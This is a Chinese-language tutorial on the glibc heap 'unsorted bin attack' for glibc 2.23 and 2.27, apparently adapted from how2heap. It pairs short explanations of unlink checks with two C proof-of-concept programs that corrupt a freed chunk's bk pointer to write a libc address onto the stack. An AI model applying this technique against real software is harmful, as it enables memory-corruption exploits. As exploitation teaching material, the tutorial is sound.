Unsortedbin attack
glibc-2.23
Unsortedbin attack就是关于unsortedbin的unlink attack。还记得unlink的基操吧,就是:
p->fd->bk=p->bk //(1)
p->bk->fd=p->fd //(2)
如果我们能够通过UAF等漏洞改变unsortedbin中的某个chunk的bk字段,使其指向某一个可打印的变量的低地址处。那么最终该变量能够泄漏处main_arena的地址,从而泄漏处libc的地址。
#include <stdio.h>
#include <stdlib.h>
int main(){
fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\\n");
fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\\n\\n");
unsigned long stack_var=0;
fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\\n");
fprintf(stderr, "%p: %ld\\n\\n", &stack_var, stack_var);
unsigned long *p=malloc(400);
fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\\n",p);
fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
"the first one during the free()\\n\\n");
malloc(500);
free(p);
fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
"point to %p\\n",(void*)p[1]);
//------------VULNERABILITY-----------
p[1]=(unsigned long)(&stack_var-2);
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\\n");
fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\\n\\n",(void*)p[1]);
//------------------------------------
malloc(400);
fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
"rewritten:\\n");
fprintf(stderr, "%p: %p\\n", &stack_var, (void*)stack_var);
}

glibc-2.27
Unsortedbin attack就是关于unsortedbin的unlink attack。还记得unlink的基操吧,就是:
p->fd->bk=p->bk //(1)
p->bk->fd=p->fd //(2)
当然我们还需要了解unlink unsortedbin的时候那个奇葩的检查:
并且会进行如下检查(需要通过检查的条件):
p->fd->bk==p && p->bk->fd==p
还有堆融合时引起的unlink那一个检查;还记得我们之前讲过:当将要free进unsortedbin的chunk尝试向前融合的时候,unlink前面的free chunk的时候不会检查那个chunk的size域是否与当前的chunk的prev size域相等。而只是检查当前的chunk的prev size域并根据其大小来决定前面的chunk的位置并修正前面的chunk的size域。但是必须要有与那个size对应的prev size在对应的位置上。
不过,不过,不过:这些都是堆融合时引起的unsortedbin chunk的unlink的时候才会进行的检查。一般地,仅仅从unsortedbin 中取出一个chunk用于malloc的返回是不会进行上述检查的。
下面的poc就是基于这个事实的:
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main(){
fprintf(stderr, "This technique only works with buffers not going into tcache, either because the tcache-option for "
"glibc was disabled, or because the buffers are bigger than 0x408 bytes. See build_glibc.sh for build "
"instructions.\\n");
fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\\n");
fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\\n\\n");
volatile unsigned long stack_var=0;
fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\\n");
fprintf(stderr, "%p: %ld\\n\\n", &stack_var, stack_var);
unsigned long *p=malloc(0x410);
fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\\n",p);
fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
"the first one during the free()\\n\\n");
malloc(500);
free(p);
fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
"point to %p\\n",(void*)p[1]);
//------------VULNERABILITY-----------
p[1]=(unsigned long)(&stack_var-2);
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\\n");
fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\\n\\n",(void*)p[1]);
//------------------------------------
malloc(0x410);
fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
"rewritten:\\n");
fprintf(stderr, "%p: %p\\n", &stack_var, (void*)stack_var);
assert(stack_var != 0);
}